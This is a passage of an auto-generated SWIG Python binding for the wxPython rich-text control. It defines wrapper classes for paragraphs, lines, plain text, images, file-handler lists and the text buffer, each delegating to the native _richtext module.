parent=None) -> RichTextParagraphLayoutBox\"\"\"\n _richtext.RichTextParagraphLayoutBox_swiginit(self,_richtext.new_RichTextParagraphLayoutBox(*args, **kwargs))\n def SetRichTextCtrl(*args, **kwargs):\n \"\"\"SetRichTextCtrl(self, RichTextCtrl ctrl)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_SetRichTextCtrl(*args, **kwargs)\n\n def GetRichTextCtrl(*args, **kwargs):\n \"\"\"GetRichTextCtrl(self) -> RichTextCtrl\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetRichTextCtrl(*args, **kwargs)\n\n def SetPartialParagraph(*args, **kwargs):\n \"\"\"SetPartialParagraph(self, bool partialPara)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_SetPartialParagraph(*args, **kwargs)\n\n def GetPartialParagraph(*args, **kwargs):\n \"\"\"GetPartialParagraph(self) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetPartialParagraph(*args, **kwargs)\n\n def GetStyleSheet(*args, **kwargs):\n \"\"\"GetStyleSheet(self) -> wxRichTextStyleSheet\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetStyleSheet(*args, **kwargs)\n\n def Init(*args, **kwargs):\n \"\"\"Init(self)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_Init(*args, **kwargs)\n\n def Clear(*args, **kwargs):\n \"\"\"Clear(self)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_Clear(*args, **kwargs)\n\n def Reset(*args, **kwargs):\n \"\"\"Reset(self)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_Reset(*args, **kwargs)\n\n def AddParagraph(*args, **kwargs):\n \"\"\"AddParagraph(self, String text, TextAttrEx paraStyle=None) -> RichTextRange\"\"\"\n return _richtext.RichTextParagraphLayoutBox_AddParagraph(*args, **kwargs)\n\n def AddImage(*args, **kwargs):\n \"\"\"AddImage(self, Image image, TextAttrEx paraStyle=None) -> RichTextRange\"\"\"\n return _richtext.RichTextParagraphLayoutBox_AddImage(*args, **kwargs)\n\n def AddParagraphs(*args, **kwargs):\n \"\"\"AddParagraphs(self, String text, TextAttrEx paraStyle=None) -> RichTextRange\"\"\"\n return _richtext.RichTextParagraphLayoutBox_AddParagraphs(*args, **kwargs)\n\n def GetLineAtPosition(*args, **kwargs):\n \"\"\"GetLineAtPosition(self, long pos, bool caretPosition=False) -> RichTextLine\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetLineAtPosition(*args, **kwargs)\n\n def GetLineAtYPosition(*args, **kwargs):\n \"\"\"GetLineAtYPosition(self, int y) -> RichTextLine\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetLineAtYPosition(*args, **kwargs)\n\n def GetParagraphAtPosition(*args, **kwargs):\n \"\"\"GetParagraphAtPosition(self, long pos, bool caretPosition=False) -> RichTextParagraph\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetParagraphAtPosition(*args, **kwargs)\n\n def GetLineSizeAtPosition(*args, **kwargs):\n \"\"\"GetLineSizeAtPosition(self, long pos, bool caretPosition=False) -> Size\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetLineSizeAtPosition(*args, **kwargs)\n\n def GetVisibleLineNumber(*args, **kwargs):\n \"\"\"GetVisibleLineNumber(self, long pos, bool caretPosition=False, bool startOfLine=False) -> long\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetVisibleLineNumber(*args, **kwargs)\n\n def GetLineForVisibleLineNumber(*args, **kwargs):\n \"\"\"GetLineForVisibleLineNumber(self, long lineNumber) -> RichTextLine\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetLineForVisibleLineNumber(*args, **kwargs)\n\n def GetLeafObjectAtPosition(*args, **kwargs):\n \"\"\"GetLeafObjectAtPosition(self, long position) -> RichTextObject\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetLeafObjectAtPosition(*args, **kwargs)\n\n def GetParagraphAtLine(*args, **kwargs):\n \"\"\"GetParagraphAtLine(self, long paragraphNumber) -> RichTextParagraph\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetParagraphAtLine(*args, **kwargs)\n\n def GetParagraphForLine(*args, **kwargs):\n \"\"\"GetParagraphForLine(self, RichTextLine line) -> RichTextParagraph\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetParagraphForLine(*args, **kwargs)\n\n def GetParagraphLength(*args, **kwargs):\n \"\"\"GetParagraphLength(self, long paragraphNumber) -> int\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetParagraphLength(*args, **kwargs)\n\n def GetParagraphCount(*args, **kwargs):\n \"\"\"GetParagraphCount(self) -> int\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetParagraphCount(*args, **kwargs)\n\n def GetLineCount(*args, **kwargs):\n \"\"\"GetLineCount(self) -> int\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetLineCount(*args, **kwargs)\n\n def GetParagraphText(*args, **kwargs):\n \"\"\"GetParagraphText(self, long paragraphNumber) -> String\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetParagraphText(*args, **kwargs)\n\n def XYToPosition(*args, **kwargs):\n \"\"\"XYToPosition(self, long x, long y) -> long\"\"\"\n return _richtext.RichTextParagraphLayoutBox_XYToPosition(*args, **kwargs)\n\n def PositionToXY(*args, **kwargs):\n \"\"\"PositionToXY(self, long pos, long x, long y) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_PositionToXY(*args, **kwargs)\n\n def SetStyle(*args, **kwargs):\n \"\"\"SetStyle(self, RichTextRange range, TextAttrEx style, int flags=RICHTEXT_SETSTYLE_WITH_UNDO) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_SetStyle(*args, **kwargs)\n\n def GetStyle(*args, **kwargs):\n \"\"\"GetStyle(self, long position, TextAttrEx style) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetStyle(*args, **kwargs)\n\n def GetUncombinedStyle(*args, **kwargs):\n \"\"\"GetUncombinedStyle(self, long position, TextAttrEx style) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetUncombinedStyle(*args, **kwargs)\n\n def GetStyleForRange(*args, **kwargs):\n \"\"\"GetStyleForRange(self, RichTextRange range, TextAttrEx style) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetStyleForRange(*args, **kwargs)\n\n def CollectStyle(*args, **kwargs):\n \"\"\"\n CollectStyle(self, TextAttrEx currentStyle, TextAttrEx style, long multipleStyleAttributes, \n int multipleTextEffectAttributes) -> bool\n \"\"\"\n return _richtext.RichTextParagraphLayoutBox_CollectStyle(*args, **kwargs)\n\n def SetListStyle(*args, **kwargs):\n \"\"\"\n SetListStyle(self, RichTextRange range, String defName, int flags=RICHTEXT_SETSTYLE_WITH_UNDO, \n int startFrom=1, int specifiedLevel=-1) -> bool\n \"\"\"\n return _richtext.RichTextParagraphLayoutBox_SetListStyle(*args, **kwargs)\n\n def ClearListStyle(*args, **kwargs):\n \"\"\"ClearListStyle(self, RichTextRange range, int flags=RICHTEXT_SETSTYLE_WITH_UNDO) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_ClearListStyle(*args, **kwargs)\n\n def NumberList(*args, **kwargs):\n \"\"\"\n NumberList(self, RichTextRange range, String defName, int flags=RICHTEXT_SETSTYLE_WITH_UNDO, \n int startFrom=1, int specifiedLevel=-1) -> bool\n \"\"\"\n return _richtext.RichTextParagraphLayoutBox_NumberList(*args, **kwargs)\n\n def PromoteList(*args, **kwargs):\n \"\"\"\n PromoteList(self, int promoteBy, RichTextRange range, String defName, \n int flags=RICHTEXT_SETSTYLE_WITH_UNDO, int specifiedLevel=-1) -> bool\n \"\"\"\n return _richtext.RichTextParagraphLayoutBox_PromoteList(*args, **kwargs)\n\n def DoNumberList(*args, **kwargs):\n \"\"\"\n DoNumberList(self, RichTextRange range, RichTextRange promotionRange, \n int promoteBy, wxRichTextListStyleDefinition def, \n int flags=RICHTEXT_SETSTYLE_WITH_UNDO, int startFrom=1, \n int specifiedLevel=-1) -> bool\n \"\"\"\n return _richtext.RichTextParagraphLayoutBox_DoNumberList(*args, **kwargs)\n\n def FindNextParagraphNumber(*args, **kwargs):\n \"\"\"FindNextParagraphNumber(self, RichTextParagraph previousParagraph, TextAttrEx attr) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_FindNextParagraphNumber(*args, **kwargs)\n\n def HasCharacterAttributes(*args, **kwargs):\n \"\"\"HasCharacterAttributes(self, RichTextRange range, TextAttrEx style) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_HasCharacterAttributes(*args, **kwargs)\n\n def HasParagraphAttributes(*args, **kwargs):\n \"\"\"HasParagraphAttributes(self, RichTextRange range, TextAttrEx style) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_HasParagraphAttributes(*args, **kwargs)\n\n def InsertFragment(*args, **kwargs):\n \"\"\"InsertFragment(self, long position, RichTextParagraphLayoutBox fragment) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_InsertFragment(*args, **kwargs)\n\n def CopyFragment(*args, **kwargs):\n \"\"\"CopyFragment(self, RichTextRange range, RichTextParagraphLayoutBox fragment) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_CopyFragment(*args, **kwargs)\n\n def ApplyStyleSheet(*args, **kwargs):\n \"\"\"ApplyStyleSheet(self, wxRichTextStyleSheet styleSheet) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_ApplyStyleSheet(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextParagraphLayoutBox obj)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_Copy(*args, **kwargs)\n\n def UpdateRanges(*args, **kwargs):\n \"\"\"UpdateRanges(self)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_UpdateRanges(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"GetText(self) -> String\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetText(*args, **kwargs)\n\n def SetDefaultStyle(*args, **kwargs):\n \"\"\"SetDefaultStyle(self, TextAttrEx style) -> bool\"\"\"\n return _richtext.RichTextParagraphLayoutBox_SetDefaultStyle(*args, **kwargs)\n\n def GetDefaultStyle(*args, **kwargs):\n \"\"\"GetDefaultStyle(self) -> TextAttrEx\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetDefaultStyle(*args, **kwargs)\n\n def SetBasicStyle(*args, **kwargs):\n \"\"\"SetBasicStyle(self, TextAttrEx style)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_SetBasicStyle(*args, **kwargs)\n\n def GetBasicStyle(*args, **kwargs):\n \"\"\"GetBasicStyle(self) -> TextAttrEx\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetBasicStyle(*args, **kwargs)\n\n def Invalidate(*args, **kwargs):\n \"\"\"Invalidate(self, RichTextRange invalidRange=wxRICHTEXT_ALL)\"\"\"\n return _richtext.RichTextParagraphLayoutBox_Invalidate(*args, **kwargs)\n\n def GetInvalidRange(*args, **kwargs):\n \"\"\"GetInvalidRange(self, bool wholeParagraphs=False) -> RichTextRange\"\"\"\n return _richtext.RichTextParagraphLayoutBox_GetInvalidRange(*args, **kwargs)\n\n_richtext.RichTextParagraphLayoutBox_swigregister(RichTextParagraphLayoutBox)\n\nclass RichTextLine(object):\n \"\"\"\n This object represents a line in a paragraph, and stores offsets from\n the start of the paragraph representing the start and end positions of\n the line.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, RichTextParagraph parent) -> RichTextLine\n\n This object represents a line in a paragraph, and stores offsets from\n the start of the paragraph representing the start and end positions of\n the line.\n \"\"\"\n _richtext.RichTextLine_swiginit(self,_richtext.new_RichTextLine(*args, **kwargs))\n __swig_destroy__ = _richtext.delete_RichTextLine\n __del__ = lambda self : None;\n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, RichTextRange range)\"\"\"\n return _richtext.RichTextLine_SetRange(*args, **kwargs)\n\n def GetParent(*args, **kwargs):\n \"\"\"GetParent(self) -> RichTextParagraph\"\"\"\n return _richtext.RichTextLine_GetParent(*args, **kwargs)\n\n def GetRange(*args, **kwargs):\n \"\"\"GetRange(self) -> RichTextRange\"\"\"\n return _richtext.RichTextLine_GetRange(*args, **kwargs)\n\n def GetAbsoluteRange(*args, **kwargs):\n \"\"\"GetAbsoluteRange(self) -> RichTextRange\"\"\"\n return _richtext.RichTextLine_GetAbsoluteRange(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"GetSize(self) -> Size\"\"\"\n return _richtext.RichTextLine_GetSize(*args, **kwargs)\n\n def SetSize(*args, **kwargs):\n \"\"\"SetSize(self, Size sz)\"\"\"\n return _richtext.RichTextLine_SetSize(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> Point\"\"\"\n return _richtext.RichTextLine_GetPosition(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, Point pos)\"\"\"\n return _richtext.RichTextLine_SetPosition(*args, **kwargs)\n\n def GetAbsolutePosition(*args, **kwargs):\n \"\"\"GetAbsolutePosition(self) -> Point\"\"\"\n return _richtext.RichTextLine_GetAbsolutePosition(*args, **kwargs)\n\n def GetRect(*args, **kwargs):\n \"\"\"GetRect(self) -> Rect\"\"\"\n return _richtext.RichTextLine_GetRect(*args, **kwargs)\n\n def SetDescent(*args, **kwargs):\n \"\"\"SetDescent(self, int descent)\"\"\"\n return _richtext.RichTextLine_SetDescent(*args, **kwargs)\n\n def GetDescent(*args, **kwargs):\n \"\"\"GetDescent(self) -> int\"\"\"\n return _richtext.RichTextLine_GetDescent(*args, **kwargs)\n\n def Init(*args, **kwargs):\n \"\"\"Init(self, RichTextParagraph parent)\"\"\"\n return _richtext.RichTextLine_Init(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextLine obj)\"\"\"\n return _richtext.RichTextLine_Copy(*args, **kwargs)\n\n def Clone(*args, **kwargs):\n \"\"\"Clone(self) -> RichTextLine\"\"\"\n return _richtext.RichTextLine_Clone(*args, **kwargs)\n\n_richtext.RichTextLine_swigregister(RichTextLine)\n\nclass RichTextParagraph(RichTextBox):\n \"\"\"\n This object represents a single paragraph (or in a straight text\n editor, a line).\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, String text, RichTextObject parent=None, TextAttrEx paraStyle=None, \n TextAttrEx charStyle=None) -> RichTextParagraph\n\n This object represents a single paragraph (or in a straight text\n editor, a line).\n \"\"\"\n _richtext.RichTextParagraph_swiginit(self,_richtext.new_RichTextParagraph(*args, **kwargs))\n __swig_destroy__ = _richtext.delete_RichTextParagraph\n __del__ = lambda self : None;\n def GetLines(*args, **kwargs):\n \"\"\"GetLines(self) -> wxRichTextLineList\"\"\"\n return _richtext.RichTextParagraph_GetLines(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextParagraph obj)\"\"\"\n return _richtext.RichTextParagraph_Copy(*args, **kwargs)\n\n def ClearLines(*args, **kwargs):\n \"\"\"ClearLines(self)\"\"\"\n return _richtext.RichTextParagraph_ClearLines(*args, **kwargs)\n\n def ApplyParagraphStyle(*args, **kwargs):\n \"\"\"ApplyParagraphStyle(self, TextAttrEx attr, Rect rect)\"\"\"\n return _richtext.RichTextParagraph_ApplyParagraphStyle(*args, **kwargs)\n\n def InsertText(*args, **kwargs):\n \"\"\"InsertText(self, long pos, String text) -> bool\"\"\"\n return _richtext.RichTextParagraph_InsertText(*args, **kwargs)\n\n def SplitAt(*args, **kwargs):\n \"\"\"SplitAt(self, long pos, RichTextObject previousObject=None) -> RichTextObject\"\"\"\n return _richtext.RichTextParagraph_SplitAt(*args, **kwargs)\n\n def MoveToList(*args, **kwargs):\n \"\"\"MoveToList(self, RichTextObject obj, wxList list)\"\"\"\n return _richtext.RichTextParagraph_MoveToList(*args, **kwargs)\n\n def MoveFromList(*args, **kwargs):\n \"\"\"MoveFromList(self, wxList list)\"\"\"\n return _richtext.RichTextParagraph_MoveFromList(*args, **kwargs)\n\n def GetContiguousPlainText(*args, **kwargs):\n \"\"\"GetContiguousPlainText(self, String text, RichTextRange range, bool fromStart=True) -> bool\"\"\"\n return _richtext.RichTextParagraph_GetContiguousPlainText(*args, **kwargs)\n\n def FindWrapPosition(*args, **kwargs):\n \"\"\"FindWrapPosition(self, RichTextRange range, DC dc, int availableSpace, long wrapPosition) -> bool\"\"\"\n return _richtext.RichTextParagraph_FindWrapPosition(*args, **kwargs)\n\n def FindObjectAtPosition(*args, **kwargs):\n \"\"\"FindObjectAtPosition(self, long position) -> RichTextObject\"\"\"\n return _richtext.RichTextParagraph_FindObjectAtPosition(*args, **kwargs)\n\n def GetBulletText(*args, **kwargs):\n \"\"\"GetBulletText(self) -> String\"\"\"\n return _richtext.RichTextParagraph_GetBulletText(*args, **kwargs)\n\n def AllocateLine(*args, **kwargs):\n \"\"\"AllocateLine(self, int pos) -> RichTextLine\"\"\"\n return _richtext.RichTextParagraph_AllocateLine(*args, **kwargs)\n\n def ClearUnusedLines(*args, **kwargs):\n \"\"\"ClearUnusedLines(self, int lineCount) -> bool\"\"\"\n return _richtext.RichTextParagraph_ClearUnusedLines(*args, **kwargs)\n\n def GetCombinedAttributes(*args, **kwargs):\n \"\"\"GetCombinedAttributes(self, TextAttrEx contentStyle=None) -> TextAttrEx\"\"\"\n return _richtext.RichTextParagraph_GetCombinedAttributes(*args, **kwargs)\n\n def GetFirstLineBreakPosition(*args, **kwargs):\n \"\"\"GetFirstLineBreakPosition(self, long pos) -> long\"\"\"\n return _richtext.RichTextParagraph_GetFirstLineBreakPosition(*args, **kwargs)\n\n def InitDefaultTabs(*args, **kwargs):\n \"\"\"InitDefaultTabs()\"\"\"\n return _richtext.RichTextParagraph_InitDefaultTabs(*args, **kwargs)\n\n InitDefaultTabs = staticmethod(InitDefaultTabs)\n def ClearDefaultTabs(*args, **kwargs):\n \"\"\"ClearDefaultTabs()\"\"\"\n return _richtext.RichTextParagraph_ClearDefaultTabs(*args, **kwargs)\n\n ClearDefaultTabs = staticmethod(ClearDefaultTabs)\n def GetDefaultTabs(*args, **kwargs):\n \"\"\"GetDefaultTabs() -> wxArrayInt\"\"\"\n return _richtext.RichTextParagraph_GetDefaultTabs(*args, **kwargs)\n\n GetDefaultTabs = staticmethod(GetDefaultTabs)\n_richtext.RichTextParagraph_swigregister(RichTextParagraph)\n\ndef RichTextParagraph_InitDefaultTabs(*args):\n \"\"\"RichTextParagraph_InitDefaultTabs()\"\"\"\n return _richtext.RichTextParagraph_InitDefaultTabs(*args)\n\ndef RichTextParagraph_ClearDefaultTabs(*args):\n \"\"\"RichTextParagraph_ClearDefaultTabs()\"\"\"\n return _richtext.RichTextParagraph_ClearDefaultTabs(*args)\n\ndef RichTextParagraph_GetDefaultTabs(*args):\n \"\"\"RichTextParagraph_GetDefaultTabs() -> wxArrayInt\"\"\"\n return _richtext.RichTextParagraph_GetDefaultTabs(*args)\n\nclass RichTextPlainText(RichTextObject):\n \"\"\"This object represents a single piece of text.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, String text=wxEmptyString, RichTextObject parent=None, \n TextAttrEx style=None) -> RichTextPlainText\n\n This object represents a single piece of text.\n \"\"\"\n _richtext.RichTextPlainText_swiginit(self,_richtext.new_RichTextPlainText(*args, **kwargs))\n def GetFirstLineBreakPosition(*args, **kwargs):\n \"\"\"GetFirstLineBreakPosition(self, long pos) -> long\"\"\"\n return _richtext.RichTextPlainText_GetFirstLineBreakPosition(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"GetText(self) -> String\"\"\"\n return _richtext.RichTextPlainText_GetText(*args, **kwargs)\n\n def SetText(*args, **kwargs):\n \"\"\"SetText(self, String text)\"\"\"\n return _richtext.RichTextPlainText_SetText(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextPlainText obj)\"\"\"\n return _richtext.RichTextPlainText_Copy(*args, **kwargs)\n\n_richtext.RichTextPlainText_swigregister(RichTextPlainText)\n\nclass RichTextImage(RichTextObject):\n \"\"\"This object represents an image.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, RichTextObject parent=None) -> RichTextImage\n\n This object represents an image.\n \"\"\"\n _richtext.RichTextImage_swiginit(self,_richtext.new_RichTextImage(*args, **kwargs))\n def GetImage(*args, **kwargs):\n \"\"\"GetImage(self) -> Image\"\"\"\n return _richtext.RichTextImage_GetImage(*args, **kwargs)\n\n def SetImage(*args, **kwargs):\n \"\"\"SetImage(self, Image image)\"\"\"\n return _richtext.RichTextImage_SetImage(*args, **kwargs)\n\n def GetImageBlock(*args, **kwargs):\n \"\"\"GetImageBlock(self) -> wxRichTextImageBlock\"\"\"\n return _richtext.RichTextImage_GetImageBlock(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self, RichTextImage obj)\"\"\"\n return _richtext.RichTextImage_Copy(*args, **kwargs)\n\n def LoadFromBlock(*args, **kwargs):\n \"\"\"LoadFromBlock(self) -> bool\"\"\"\n return _richtext.RichTextImage_LoadFromBlock(*args, **kwargs)\n\n def MakeBlock(*args, **kwargs):\n \"\"\"MakeBlock(self) -> bool\"\"\"\n return _richtext.RichTextImage_MakeBlock(*args, **kwargs)\n\n_richtext.RichTextImage_swigregister(RichTextImage)\n\nclass RichTextFileHandlerList_iterator(object):\n \"\"\"This class serves as an iterator for a wxRichTextFileHandlerList object.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextFileHandlerList_iterator\n __del__ = lambda self : None;\n def next(*args, **kwargs):\n \"\"\"next(self) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextFileHandlerList_iterator_next(*args, **kwargs)\n\n_richtext.RichTextFileHandlerList_iterator_swigregister(RichTextFileHandlerList_iterator)\n\nclass RichTextFileHandlerList(object):\n \"\"\"\n This class wraps a wxList-based class and gives it a Python\n sequence-like interface. Sequence operations supported are length,\n index access and iteration.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n __swig_destroy__ = _richtext.delete_RichTextFileHandlerList\n __del__ = lambda self : None;\n def __len__(*args, **kwargs):\n \"\"\"__len__(self) -> size_t\"\"\"\n return _richtext.RichTextFileHandlerList___len__(*args, **kwargs)\n\n def __getitem__(*args, **kwargs):\n \"\"\"__getitem__(self, size_t index) -> RichTextFileHandler\"\"\"\n return _richtext.RichTextFileHandlerList___getitem__(*args, **kwargs)\n\n def __contains__(*args, **kwargs):\n \"\"\"__contains__(self, RichTextFileHandler obj) -> bool\"\"\"\n return _richtext.RichTextFileHandlerList___contains__(*args, **kwargs)\n\n def __iter__(*args, **kwargs):\n \"\"\"__iter__(self) -> RichTextFileHandlerList_iterator\"\"\"\n return _richtext.RichTextFileHandlerList___iter__(*args, **kwargs)\n\n def __repr__(self):\n return \"wxRichTextFileHandlerList: \" + repr(list(self))\n\n_richtext.RichTextFileHandlerList_swigregister(RichTextFileHandlerList)\n\nclass RichTextBuffer(RichTextParagraphLayoutBox):\n \"\"\"This is a kind of box, used to represent the whole buffer.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args): \n \"\"\"\n __init__(self) -> RichTextBuffer\n __init__(self, RichTextBuffer obj) -> RichTextBuffer\n\n This is a kind of box, used to represent the whole buffer.\n \"\"\"\n _richtext.RichTextBuffer_swiginit(self,_richtext.new_RichTextBuffer(*args))\n __swig_destroy__ = _richtext.delete_RichTextBuffer\n __del__ = lambda self : None;\n def GetCommandProcessor(*args, **kwargs):\n \"\"\"GetCommandProcessor(self) -> wxCommandProcessor\"\"\"\n return _richtext.RichTextBuffer_GetCommandProcessor(*args, **kwargs)\n\n def SetStyleSheet(*args, **kwargs):\n \"\"\"SetStyleSheet(self, wxRichTextStyleSheet styleSheet)\"\"\"\n return _richtext.RichTextBuffer_SetStyleSheet(*args, **kwargs)\n\n def SetStyleSheetAndNotify(*args, **kwargs):\n \"\"\"SetStyleSheetAndNotify(self, wxRichTextStyleSheet sheet) -> bool\"\"\"\n return _richtext.RichTextBuffer_SetStyleSheetAndNotify(*args, **kwargs)\n\n def PushStyleSheet(*args, **kwargs):\n \"\"\"PushStyleSheet(self, wxRichTextStyleSheet styleSheet) -> bool\"\"\"\n return _richtext.RichTextBuffer_PushStyleSheet(*args, **kwargs)\n\n def PopStyleSheet(*args, **kwargs):\n \"\"\"PopStyleSheet(self) -> wxRichTextStyleSheet\"\"\"\n return _richtext.RichTextBuffer_PopStyleSheet(*args, **kwargs)\n\n def Init(*args, **kwargs):\n \"\"\"Init(self)\"\"\"\n return _richtext.RichTextBuffer_Init(*args, **kwargs)\n\n def ResetAndClearCommands(*args, **kwargs):\n \"\"\"ResetAndClearCommands(self)\"\"\"\n return _richtext.RichTextBuffer_ResetAndClearCommands(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"LoadFile(self, String filename, int type=RICHTEXT_TYPE_ANY) -> bool\"\"\"\n return _richtext.RichTextBuffer_LoadFile(*args, **kwargs)\n\n def SaveFile(*args, **kwargs):\n \"\"\"SaveFile(self, String filename, int type=RICHTEXT_TYPE_ANY) -> bool\"\"\"\n return _richtext.RichTextBuffer_SaveFile(*args, **kwargs)\n\n def LoadStream(*args, **kwargs):\n \"\"\"LoadStream(self, InputStream stream, int type=RICHTEXT_TYPE_ANY) -> bool\"\"\"\n return _richtext.RichTextBuffer_LoadStream(*args, **kwargs)\n\n def SaveStream(*args, **kwargs):\n \"\"\"SaveStream(self, wxOutputStream stream, int type=RICHTEXT_TYPE_ANY) -> bool\"\"\"\n return _richtext.RichTextBuffer_SaveStream(*args, **kwargs)\n\n def SetHandlerFlags(*args, **kwargs):\n \"\"\"SetHandlerFlags(self, int flags)\"\"\"\n return _richtext.RichTextBuffer_SetHandlerFlags(*args, **kwargs)\n\n def GetHandlerFlags(*args, **kwargs):\n \"\"\"GetHandlerFlags(self) -> int\"\"\"\n return _richtext.RichTextBuffer_GetHandlerFlags(*args, **kwargs)\n\n def BeginBatchUndo(*args, **kwargs):\n \"\"\"BeginBatchUndo(self, String cmdName) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginBatchUndo(*args, **kwargs)\n\n def EndBatchUndo(*args, **kwargs):\n \"\"\"EndBatchUndo(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndBatchUndo(*args, **kwargs)\n\n def BatchingUndo(*args, **kwargs):\n \"\"\"BatchingUndo(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_BatchingUndo(*args, **kwargs)\n\n def SubmitAction(*args, **kwargs):\n \"\"\"SubmitAction(self, RichTextAction action) -> bool\"\"\"\n return _richtext.RichTextBuffer_SubmitAction(*args, **kwargs)\n\n def GetBatchedCommand(*args, **kwargs):\n \"\"\"GetBatchedCommand(self) -> RichTextCommand\"\"\"\n return _richtext.RichTextBuffer_GetBatchedCommand(*args, **kwargs)\n\n def BeginSuppressUndo(*args, **kwargs):\n \"\"\"BeginSuppressUndo(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginSuppressUndo(*args, **kwargs)\n\n def EndSuppressUndo(*args, **kwargs):\n \"\"\"EndSuppressUndo(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndSuppressUndo(*args, **kwargs)\n\n def SuppressingUndo(*args, **kwargs):\n \"\"\"SuppressingUndo(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_SuppressingUndo(*args, **kwargs)\n\n def CopyToClipboard(*args, **kwargs):\n \"\"\"CopyToClipboard(self, RichTextRange range) -> bool\"\"\"\n return _richtext.RichTextBuffer_CopyToClipboard(*args, **kwargs)\n\n def PasteFromClipboard(*args, **kwargs):\n \"\"\"PasteFromClipboard(self, long position) -> bool\"\"\"\n return _richtext.RichTextBuffer_PasteFromClipboard(*args, **kwargs)\n\n def CanPasteFromClipboard(*args, **kwargs):\n \"\"\"CanPasteFromClipboard(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_CanPasteFromClipboard(*args, **kwargs)\n\n def BeginStyle(*args, **kwargs):\n \"\"\"BeginStyle(self, TextAttrEx style) -> bool\"\"\"\n return _richtext.RichTextBuffer_BeginStyle(*args, **kwargs)\n\n def EndStyle(*args, **kwargs):\n \"\"\"EndStyle(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndStyle(*args, **kwargs)\n\n def EndAllStyles(*args, **kwargs):\n \"\"\"EndAllStyles(self) -> bool\"\"\"\n return _richtext.RichTextBuffer_EndAllStyles(*args, **kwargs)\n\n def ClearStyleStack(*args, **kwargs):\n \"\"\"ClearStyleStack(self)\"\"\"\n return _richtext.RichTextBuffer_ClearStyleStack(*args, **kwargs)\n\n def GetStyleStackSize(*args, **kwargs):\n \"\"\"GetStyleStackSize(self) -> 